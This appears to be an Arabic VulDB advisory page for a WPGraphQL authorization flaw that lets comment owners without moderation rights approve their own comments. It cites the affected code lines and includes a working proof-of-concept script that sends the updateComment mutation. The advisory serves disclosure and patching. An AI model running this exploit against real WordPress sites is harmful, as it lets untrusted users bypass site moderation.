CVE-2026-33290 in wp-graphqlالمعلومات

الملخص

بحسب VulDB • 08/06/2026

توفر مكتبة WPGraphQL واجهة برمجة تطبيقات GraphQL لمواقع WordPress. قبل الإصدار 2.10.0، كان هناك عيب في التفويض (authorization flaw) داخل دالة `updateComment` يسمح للمستخدم المصادق عليه ذي الصلاحيات المنخفضة (بما في ذلك الدور المخصص الذي لا يملك أي قدرات/صلاحيات) بتغيير حالة مراجعة التعليق الخاص به (على سبيل المثال، إلى APPROVE) دون امتلاك صلاحية moderate_comments. يمكن لهذا العيب تجاوز سير عمل المراجعة والسماح للمستخدمين غير الموثوق بهم بالموافقة على محتواهم بأنفسهم. يحتوي الإصدار 2.10.0 على تصحيح للثغرة.

### التفاصيل

في WPGraphQL الإصدار 2.9.1 (تم الاختبار عليه)، يعتمد التفويض لـ `updateComment` على ملكية التعليق وليس على مستوى الحقل:

- يسمح الملف plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 للمشرفين بالتعديل. - يسمح السطر plugins/wp-graphql/src/Mutation/CommentUpdate.php:99 للمالك نفسه بالتعديل، حتى لو كان يفتقر إلى صلاحية المراجعة. - يقوم الملف plugins/wp-graphql/src/Data/CommentMutation.php:94 بربط حالة الإدخال من GraphQL مباشرة بحقل comment_approved في ووردبريس. - يحفظ السطر plugins/wp-graphql/src/Mutation/CommentUpdate.php:120 هذه القيمة عبر دالة wp_update_comment. - يكشف الملف plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22 عن حالات المراجعة (APPROVE, HOLD, SPAM, TRASH).

هذا يعني أن مالك التعليق غير المشرف يمكنه إرسال الحالة أثناء التحديث وتغيير حالة المراجعة.

### دليل الاستغلال (PoC)

تم الاختبار في بيئة محلية باستخدام wp-env (Docker) مع WPGraphQL الإصدار 2.9.1.

1. بدء البيئة:

``` npm install npm run wp-env start ```

2. تشغيل هذا الدليل للاستغلال:

``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");

$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);

$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);

wp_set_current_user($user_id);

$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);

echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```

3. ملاحظة النتيجة:

- حقل role_caps فارغ (أو لا يحتوي على moderate_comments). - ترجع عملية الـ mutation الحالة: APPROVE. - تصبح قيمة قاعدة البيانات comment_approved = 1.

### الأثر

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

مسؤول

GitHub M

حجز

18/03/2026

إفشاء

24/03/2026

الاعتدال

تمت الموافقة

إدخال

VDB-352583

EPSS

0.00177

KEV

لا

النشاطات

منخفض جدًا

القطاع

Hostingprovider

المصادر

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!